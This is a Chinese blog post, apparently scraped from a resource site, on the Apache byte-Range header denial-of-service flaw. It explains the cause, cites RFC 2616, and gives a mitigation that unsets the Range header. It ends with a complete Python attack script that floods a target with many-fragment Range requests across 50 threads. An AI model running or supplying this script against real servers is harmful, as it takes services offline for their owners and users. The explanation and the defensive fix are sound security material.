Apache Range Header DOS攻击
背景
http://lwn.net/Articles/456268/
Http协议之Byte Range
http://www.ietf.org/rfc/rfc2616.txt
(14.35章节)
14.35 Range ....................................................138
14.35.1 Byte Ranges ...........................................138
14.35.2 Range Retrieval Requests ..............................139
Apache演示
1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:
3.带Byte Range Header的请求,请看:
理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。
解决方案
1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题
2. 对于不是下载站点来说,建议禁用Byte Range,具体做法:
2.1 安装mod_headers模块
2.2 配置文件加上: RequestHeader unset Range
最后附上一个攻击脚本,做演示
1
#
encoding:utf8
2
#
!/usr/bin/env python
3
import
socket
4
import
threading
5
import
sys
6
7
headers
=
'''
8
HEAD / HTTP/1.1
9
Host: %s
10
Range: bytes=%s
11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12
13
'''
14
15
#
fragment count and loop count
16
COUNT
=
1500
17
#
concurrent count
18
PARALLEL
=
50
19
PORT
=
80
20
21
def
req(server):
22
try
:
23
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24
s.connect((server, PORT))
25
s.send(headers
%
(server, fragment(COUNT)))
26
s.close()
27
except
:
28
print
'
Server Seems Weak. Please Stop.
'
29
30
def
fragment(n):
31
ret
=
''
32
for
i
in
xrange(n):
33
if
i
==
0:
34
ret
=
ret
+
'
0-
'
+
str(i
+
1
)
35
else
:
36
ret
=
ret
+
'
,0-
'
+
str(i
+
1
)
37
return
ret
38
39
def
run(server):
40
for
_
in
xrange(COUNT):
41
req(server)
42
43
if
len(sys.argv)
!=
2
:
44
print
'
killer.py $server
'
45
sys.exit(0)
46
47
#
run
48
srv
=
sys.argv[
1
]
49
for
_
in
xrange(PARALLEL):
50
threading.Thread(target
=
run, args
=
(srv,)).start()
51
分享到:
相关推荐
nginx-1.9.12 windos 版本 nginx 反向代理 负载均衡
本文将深入解析“Windows下Apache集群的DOS命令”这一主题,从给定的文件信息出发,详细阐述相关的关键知识点。 ### Apache集群与DOS命令 在Windows环境下搭建Apache集群,通常涉及到多个Apache实例或Apache与...
例如,它可以限制同一IP地址在短时间内发送过多请求,防止DoS攻击;或者检查请求中的特殊字符,防止SQL注入。 在Linux环境下,Apache防攻击模块通常是作为Apache服务器的一部分,以模块的形式加载到服务器进程中。...
import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import org....
import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse;...
import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import...
PHP、Apache环境中部署xsslabs(XSS跨站脚本攻击靶场) PHP与Apache环境中部署xsslabs(XSS跨站脚本攻击靶场)是开发者和安全测试人员进行XSS攻击练习的重要环境。xsslabs是一款开源的XSS 漏洞靶场工具,由PHP代码...
linux操作系统 Apache 服务器 配置
import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import...
例如,如果我们自定义了一个Header名为`Custom-Name`,并且在反向代理服务器(如Nginx或Apache)中设置如下: ```bash proxy_set_header Custom-Name "xxxxx"; ``` 在PHP代码中,我们应当通过以下方式来获取这个...
With support for over 15 programming languages, Apache Thrift can play an important role in a range of distributed application development environments. As a serialization platform Apache Thrift ...
标题中的"org.apache.http.jar"是一个Java库,属于Apache HttpClient项目的一部分。Apache HttpClient是一个流行的开源Java库,专门用于实现客户端HTTP通信。它提供了强大的功能,包括支持HTTP/1.1协议、连接管理、...
【标题】:“慢攻击防御 apache wamp”涉及的是在WAMP服务器环境中,针对慢速攻击和DDoS(分布式拒绝服务)攻击的一种防护措施。WAMP是Windows、Apache、MySQL和PHP集成开发环境的简称,常用于搭建本地Web开发环境。...
在Linux系统下,Apache服务器是广泛使用的Web服务器,保护网站免受非法访问是运维工作中的重要环节。本文主要探讨如何通过身份验证和错误文件配置来增强Apache网站的安全性。 首先,我们可以采用身份认证来防止未经...
import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import...
Apache HTTP 客户端库是Java开发者常用的工具之一,它为执行HTTP协议提供了丰富的功能,包括GET、POST、PUT等多种HTTP方法。这个库的核心部分就是`org.apache.http`包,它包含了处理HTTP请求和响应的各种类和接口。...
6. **安全特性**:内置了防止DoS攻击、SQL注入等的安全模块,可以通过SSL/TLS加密保护用户数据。 7. **与其他技术集成**:与PHP、Perl、Python等脚本语言紧密集成,便于开发动态网站;与MySQL数据库配合,常用于...
org.apache.commons.lang.NumberRange.class org.apache.commons.lang.NumberUtils.class org.apache.commons.lang.ObjectUtils$Null.class org.apache.commons.lang.ObjectUtils.class org.apache.commons.lang...